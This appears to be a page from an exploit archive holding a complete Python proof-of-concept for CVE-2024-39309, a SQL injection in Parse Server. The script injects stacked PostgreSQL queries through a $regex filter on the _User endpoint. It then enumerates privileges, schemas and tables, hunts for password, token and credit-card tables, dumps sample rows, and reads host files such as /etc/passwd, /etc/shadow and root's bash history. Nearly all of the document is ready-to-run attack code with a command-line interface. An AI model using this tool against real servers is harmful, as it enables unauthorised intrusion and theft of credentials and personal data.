4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / star_ghost_english.py PY
#!/usr/bin/env python3
"""
██████╗ █████╗ ████████╗██████╗ ██████╗  █████╗ ████████╗███████╗
██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝
██║  ██║███████║   ██║   ██████╔╝██████╔╝███████║   ██║   █████╗  
██║  ██║██╔══██║   ██║   ██╔══██╗██╔══██╗██╔══██║   ██║   ██╔══╝  
██████╔╝██║  ██║   ██║   ██║  ██║██████╔╝██║  ██║   ██║   ███████╗
╚═════╝ ╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═╝╚═════╝ ╚═╝  ╚═╝   ╚═╝   ╚══════╝

███████╗███████╗██╗  ██╗██╗███╗   ██╗ ██████╗ ███████╗ ██████╗ █████╗ ████████╗██╗ ██████╗ ███╗   ██╗
██╔════╝██╔════╝██║  ██║██║████╗  ██║██╔════╝ ██╔════╝██╔════╝██╔══██╗╚══██╔══╝██║██╔═══██╗████╗  ██║
███████╗█████╗  ███████║██║██╔██╗ ██║██║  ███╗█████╗  ██║     ███████║   ██║   ██║██║   ██║██╔██╗ ██║
╚════██║██╔══╝  ██╔══██║██║██║╚██╗██║██║   ██║██╔══╝  ██║     ██╔══██║   ██║   ██║██║   ██║██║╚██╗██║
███████║███████╗██║  ██║██║██║ ╚████║╚██████╔╝███████╗╚██████╗██║  ██║   ██║   ██║╚██████╔╝██║ ╚████║
╚══════╝╚══════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚══════╝ ╚═════╝╚═╝  ╚═╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝

Advanced Database Enumeration via POSTGRES SQL Injection
Author: HeavyGhost && Englishx | CVE-2024-39309
Description: Comprehensive database enumeration via SQL injection in Parse Server,  prior to 6.5.7 and 7.1.0
https://nvd.nist.gov/vuln/detail/CVE-2024-39309
"""

import requests
import json
import sys
import argparse
from urllib.parse import quote

class DatabaseEnumerator:
    def __init__(self, target_url, app_id):
        self.target_url = target_url
        self.app_id = app_id
        self.session = requests.Session()
        self.session.headers.update({
            'X-Parse-Application-Id': app_id,
            'Content-Type': 'application/json'
        })
    
    def execute_sql(self, sql_query):
        """Execute SQL query via regex injection"""
        # Use the working pattern: A'B' becomes A''B' allowing semicolon injection
        payload = f"A'B'; {sql_query};--"
        
        where_clause = {
            "username": {
                "$regex": payload
            }
        }
        
        params = {
            "where": json.dumps(where_clause)
        }
        
        try:
            response = self.session.get(
                f"{self.target_url}/parse/classes/_User",
                params=params,
                timeout=10
            )
            return response.json()
        except Exception as e:
            print(f"Error executing query: {e}")
            return None

    # ===== DATABASE INFORMATION =====
    
    def get_database_version(self):
        """Get PostgreSQL version"""
        print("[+] Getting database version...")
        query = "SELECT version()"
        result = self.execute_sql(query)
        if result and 'results' in result and result['results']:
            version = result['results'][0].get('version', 'Unknown')
            print(f"[+] Database Version: {version}")
            return version
        return None
    
    def get_current_database(self):
        """Get current database name"""
        print("[+] Getting current database...")
        query = "SELECT current_database()"
        result = self.execute_sql(query)
        if result and 'results' in result and result['results']:
            db_name = result['results'][0].get('current_database', 'Unknown')
            print(f"[+] Current Database: {db_name}")
            return db_name
        return None
    
    def get_current_user(self):
        """Get current database user"""
        print("[+] Getting current user...")
        query = "SELECT current_user, session_user, user"
        result = self.execute_sql(query)
        if result and 'results' in result and result['results']:
            user_info = result['results'][0]
            print(f"[+] Current User: {user_info}")
            return user_info
        return None

    # ===== USER PERMISSIONS =====
    
    def get_user_privileges(self):
        """Get current user privileges"""
        print("[+] Getting user privileges...")
        
        queries = [
            "SELECT * FROM current_user_privileges",
            "SELECT grantee, privilege_type, table_name FROM information_schema.role_table_grants",
            "SELECT usename, usecreatedb, usesuper, usebypassrls FROM pg_user WHERE usename = current_user"
        ]
        
        all_privileges = {}
        for query in queries:
            result = self.execute_sql(query)
            if result and 'results' in result:
                all_privileges[query] = result['results']
        
        # Parse and display privileges
        print("\n[+] User Privileges Summary:")
        for query, results in all_privileges.items():
            if results:
                print(f"  Query: {query.split('FROM')[0]}...")
                for row in results[:3]:  # Show first 3 rows
                    print(f"    {row}")
        
        return all_privileges
    
    def check_super_user(self):
        """Check if current user is superuser"""
        print("[+] Checking superuser privileges...")
        query = "SELECT usesuper FROM pg_user WHERE usename = current_user"
        result = self.execute_sql(query)
        if result and 'results' in result and result['results']:
            is_super = result['results'][0].get('usesuper', False)
            status = "YES" if is_super else "NO"
            print(f"[+] Is Superuser: {status}")
            return is_super
        return False
    
    def check_file_operations(self):
        """Check if user can read/write files"""
        print("[+] Checking file operation privileges...")
        
        # Check if pg_read_file is available
        queries = [
            "SELECT has_function_privilege(current_user, 'pg_read_file(text)', 'EXECUTE') as can_read_files",
            "SELECT has_function_privilege(current_user, 'pg_read_file(text, bigint, bigint)', 'EXECUTE') as can_read_files_offset",
            "SELECT has_function_privilege(current_user, 'pg_ls_dir(text)', 'EXECUTE') as can_list_dir",
            "SELECT has_function_privilege(current_user, 'pg_stat_file(text)', 'EXECUTE') as can_stat_file"
        ]
        
        file_privileges = {}
        for query in queries:
            result = self.execute_sql(query)
            if result and 'results' in result and result['results']:
                for key, value in result['results'][0].items():
                    file_privileges[key] = value
        
        print("[+] File Operation Privileges:")
        for privilege, has_priv in file_privileges.items():
            status = "YES" if has_priv else "NO"
            print(f"    - {privilege}: {status}")
        
        return file_privileges

    # ===== FILE SYSTEM ACCESS =====
    
    def read_file(self, file_path):
        """Read file using pg_read_file"""
        print(f"[+] Attempting to read file: {file_path}")
        
        queries = [
            f"SELECT pg_read_file('{file_path}') as content",
            f"SELECT pg_read_file('{file_path}', 0, 100000) as content",  # With offset
        ]
        
        for query in queries:
            result = self.execute_sql(query)
            if result and 'results' in result and result['results']:
                content = result['results'][0].get('content')
                if content and content != '':
                    print(f"[+] Successfully read {file_path}:")
                    print("-" * 50)
                    print(content)
                    print("-" * 50)
                    return content
        
        print(f"[-] Failed to read {file_path}")
        return None
    
    def list_directory(self, directory_path):
        """List directory contents using pg_ls_dir"""
        print(f"[+] Attempting to list directory: {directory_path}")
        
        query = f"SELECT pg_ls_dir('{directory_path}') as files"
        result = self.execute_sql(query)
        
        if result and 'results' in result:
            files = []
            for row in result['results']:
                if 'files' in row and row['files']:
                    files.append(row['files'])
            
            if files:
                print(f"[+] Directory contents of {directory_path}:")
                for file in files:
                    print(f"    - {file}")
                return files
            else:
                print(f"[-] No files found in {directory_path} or access denied")
        else:
            print(f"[-] Failed to list directory {directory_path}")
        
        return None
    
    def read_system_files(self):
        """Read common system files"""
        print("\n[+] Reading common system files...")
        
        system_files = [
            '/etc/passwd',
            '/etc/hosts',
            '/etc/hostname',
            '/etc/issue',
            '/proc/version',
            '/proc/cmdline',
            '/etc/shadow',  # Will likely fail but worth trying
            '/root/.bash_history'
        ]
        
        for file_path in system_files:
            self.read_file(file_path)
    
    def read_etc_passwd(self):
        """Specifically read /etc/passwd file"""
        print("\n[+] Reading /etc/passwd file...")
        return self.read_file('/etc/passwd')

    # ===== DATABASE SCHEMA ENUMERATION =====
    
    def enumerate_schemas(self):
        """List all database schemas"""
        print("[+] Enumerating schemas...")
        query = "SELECT schema_name FROM information_schema.schemata"
        result = self.execute_sql(query)
        
        if result and 'results' in result:
            schemas = [row['schema_name'] for row in result['results']]
            print(f"[+] Found {len(schemas)} schemas:")
            for schema in schemas:
                print(f"    - {schema}")
            return schemas
        return []
    
    def enumerate_tables(self, schema='public'):
        """List all tables in specified schema"""
        print(f"[+] Enumerating tables in schema: {schema}...")
        query = f"SELECT table_name, table_type FROM information_schema.tables WHERE table_schema = '{schema}'"
        result = self.execute_sql(query)
        
        if result and 'results' in result:
            tables = [(row['table_name'], row.get('table_type', 'TABLE')) for row in result['results']]
            print(f"[+] Found {len(tables)} tables in {schema}:")
            for table_name, table_type in tables:
                print(f"    - {table_name} ({table_type})")
            return tables
        return []
    
    def get_table_columns(self, table_name, schema='public'):
        """Get column names and types for a specific table"""
        print(f"[+] Getting columns for table: {schema}.{table_name}")
        
        query = f"""
        SELECT column_name, data_type, is_nullable, column_default 
        FROM information_schema.columns 
        WHERE table_schema = '{schema}' AND table_name = '{table_name}'
        ORDER BY ordinal_position
        """
        result = self.execute_sql(query)
        
        if result and 'results' in result:
            columns = result['results']
            print(f"[+] Columns in {schema}.{table_name}:")
            for col in columns:
                print(f"    - {col['column_name']} ({col['data_type']}) - Nullable: {col['is_nullable']}")
            return columns
        return []
    
    def get_table_row_count(self, table_name, schema='public'):
        """Get row count for a table"""
        query = f"SELECT COUNT(*) as row_count FROM {schema}.{table_name}"
        result = self.execute_sql(query)
        if result and 'results' in result and result['results']:
            count = result['results'][0].get('row_count', 0)
            print(f"[+] {schema}.{table_name} has {count} rows")
            return count
        return 0

    # ===== DATA EXTRACTION =====
    
    def extract_table_sample(self, table_name, schema='public', limit=5):
        """Extract sample data from a table"""
        print(f"[+] Extracting sample data from {schema}.{table_name}...")
        
        # First get columns
        columns = self.get_table_columns(table_name, schema)
        if not columns:
            return None
        
        column_names = [col['column_name'] for col in columns]
        col_list = ", ".join(column_names)
        
        query = f"SELECT {col_list} FROM {schema}.{table_name} LIMIT {limit}"
        result = self.execute_sql(query)
        
        if result and 'results' in result:
            print(f"[+] Sample data from {schema}.{table_name}:")
            for i, row in enumerate(result['results']):
                print(f"    Row {i+1}: {row}")
            return result['results']
        return None
    
    def search_sensitive_data(self):
        """Search for potentially sensitive tables and columns"""
        print("[+] Searching for sensitive data patterns...")
        
        sensitive_patterns = [
            ("table_name LIKE '%user%'", "User tables"),
            ("table_name LIKE '%pass%'", "Password tables"),
            ("table_name LIKE '%auth%'", "Authentication tables"),
            ("table_name LIKE '%secret%'", "Secret tables"),
            ("table_name LIKE '%key%'", "Key tables"),
            ("table_name LIKE '%flag%'", "Flag tables"),
            ("table_name LIKE '%credit%'", "Credit card tables"),
            ("table_name LIKE '%token%'", "Token tables")
        ]
        
        sensitive_tables = []
        for pattern, description in sensitive_patterns:
            query = f"SELECT table_name FROM information_schema.tables WHERE table_schema='public' AND {pattern}"
            result = self.execute_sql(query)
            if result and 'results' in result:
                for row in result['results']:
                    table_name = row['table_name']
                    if table_name not in [t[0] for t in sensitive_tables]:
                        sensitive_tables.append((table_name, description))
        
        if sensitive_tables:
            print("[+] Potentially sensitive tables found:")
            for table_name, description in sensitive_tables:
                print(f"    - {table_name} ({description})")
        else:
            print("[-] No obvious sensitive tables found")
        
        return sensitive_tables

    # ===== COMPREHENSIVE ENUMERATION =====
    
    def comprehensive_enumeration(self):
        """Run complete database enumeration"""
        print("[*] Starting comprehensive database enumeration...")
        
        # Database Information
        print("\n" + "="*50)
        print("DATABASE INFORMATION")
        print("="*50)
        self.get_database_version()
        self.get_current_database()
        self.get_current_user()
        
        # User Privileges
        print("\n" + "="*50)
        print("USER PRIVILEGES")
        print("="*50)
        self.get_user_privileges()
        self.check_super_user()
        file_privs = self.check_file_operations()
        
        # File System Access (if available)
        if file_privs.get('can_read_files') or file_privs.get('can_read_files_offset'):
            print("\n" + "="*50)
            print("FILE SYSTEM ACCESS")
            print("="*50)
            self.read_etc_passwd()
            
            # Try to list some directories
            self.list_directory('/etc')
            self.list_directory('/home')
            
            # Read more system files
            self.read_system_files()
        
        # Schema Enumeration
        print("\n" + "="*50)
        print("SCHEMA ENUMERATION")
        print("="*50)
        schemas = self.enumerate_schemas()
        
        # Table Enumeration
        print("\n" + "="*50)
        print("TABLE ENUMERATION")
        print("="*50)
        for schema in schemas:
            tables = self.enumerate_tables(schema)
            if tables:
                # Get sample from first 3 tables
                for table_name, table_type in tables[:3]:
                    self.get_table_columns(table_name, schema)
                    self.get_table_row_count(table_name, schema)
                    if table_type == 'BASE TABLE':
                        self.extract_table_sample(table_name, schema, 2)
        
        # Sensitive Data Search
        print("\n" + "="*50)
        print("SENSITIVE DATA SEARCH")
        print("="*50)
        sensitive_tables = self.search_sensitive_data()
        
        # Extract from sensitive tables
        if sensitive_tables:
            print("\n[+] Extracting from sensitive tables...")
            for table_name, description in sensitive_tables[:3]:  # Limit to first 3
                self.extract_table_sample(table_name, 'public', 3)
        
        print("\n[+] Database enumeration completed!")

def main():
    parser = argparse.ArgumentParser(description='Advanced Database Enumeration via SQL Injection')
    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://10.0.14.52:1337)')
    parser.add_argument('-a', '--app-id', required=True, help='Parse Application ID')
    parser.add_argument('-t', '--table', help='Specific table to enumerate')
    parser.add_argument('-s', '--schema', default='public', help='Schema to enumerate (default: public)')
    parser.add_argument('-f', '--file', help='Read specific file (e.g., /etc/passwd)')
    parser.add_argument('-d', '--dir', help='List specific directory')
    parser.add_argument('--read-system', action='store_true', help='Read common system files')
    
    args = parser.parse_args()
    
    enumerator = DatabaseEnumerator(args.url, args.app_id)
    
    print("""
    ██████╗ █████╗ ████████╗██████╗ ██████╗  █████╗ ████████╗███████╗███████╗
    ██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝██╔════╝
    ██║  ██║███████║   ██║   ██████╔╝██████╔╝███████║   ██║   █████╗  ███████╗
    ██║  ██║██╔══██║   ██║   ██╔══██╗██╔══██╗██╔══██║   ██║   ██╔══╝  ╚════██║
    ██████╔╝██║  ██║   ██║   ██║  ██║██████╔╝██║  ██║   ██║   ███████╗███████║
    ╚═════╝ ╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═╝╚═════╝ ╚═╝  ╚═╝   ╚═╝   ╚══════╝╚══════╝
                                                                            
    ███████╗███████╗██╗  ██╗██╗███╗   ██╗ ██████╗ ███████╗ ██████╗ █████╗ ████████╗██╗ ██████╗ ███╗   ██╗
    ██╔════╝██╔════╝██║  ██║██║████╗  ██║██╔════╝ ██╔════╝██╔════╝██╔══██╗╚══██╔══╝██║██╔═══██╗████╗  ██║
    ███████╗█████╗  ███████║██║██╔██╗ ██║██║  ███╗█████╗  ██║     ███████║   ██║   ██║██║   ██║██╔██╗ ██║
    ╚════██║██╔══╝  ██╔══██║██║██║╚██╗██║██║   ██║██╔══╝  ██║     ██╔══██║   ██║   ██║██║   ██║██║╚██╗██║
    ███████║███████╗██║  ██║██║██║ ╚████║╚██████╔╝███████╗╚██████╗██║  ██║   ██║   ██║╚██████╔╝██║ ╚████║
    ╚══════╝╚══════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚══════╝ ╚═════╝╚═╝  ╚═╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝
    
    Advanced Database Enumeration via POSTGRES SQL Injection
    Author: HeavyGhost && EnglishX | CVE-2024-39309
    Description: Comprehensive database enumeration via SQL injection in Parse Server,  prior to 6.5.7 and 7.1.0
    https://nvd.nist.gov/vuln/detail/CVE-2024-39309
    """)
    
    if args.file:
        # Read specific file
        print(f"[*] Reading file: {args.file}")
        enumerator.read_file(args.file)
    elif args.dir:
        # List specific directory
        print(f"[*] Listing directory: {args.dir}")
        enumerator.list_directory(args.dir)
    elif args.read_system:
        # Read system files
        print("[*] Reading system files...")
        enumerator.read_system_files()
    elif args.table:
        # Enumerate specific table
        print(f"[*] Enumerating specific table: {args.table}")
        enumerator.get_table_columns(args.table, args.schema)
        enumerator.get_table_row_count(args.table, args.schema)
        enumerator.extract_table_sample(args.table, args.schema, 10)
    else:
        # Run comprehensive enumeration
        enumerator.comprehensive_enumeration()

if __name__ == "__main__":
    main()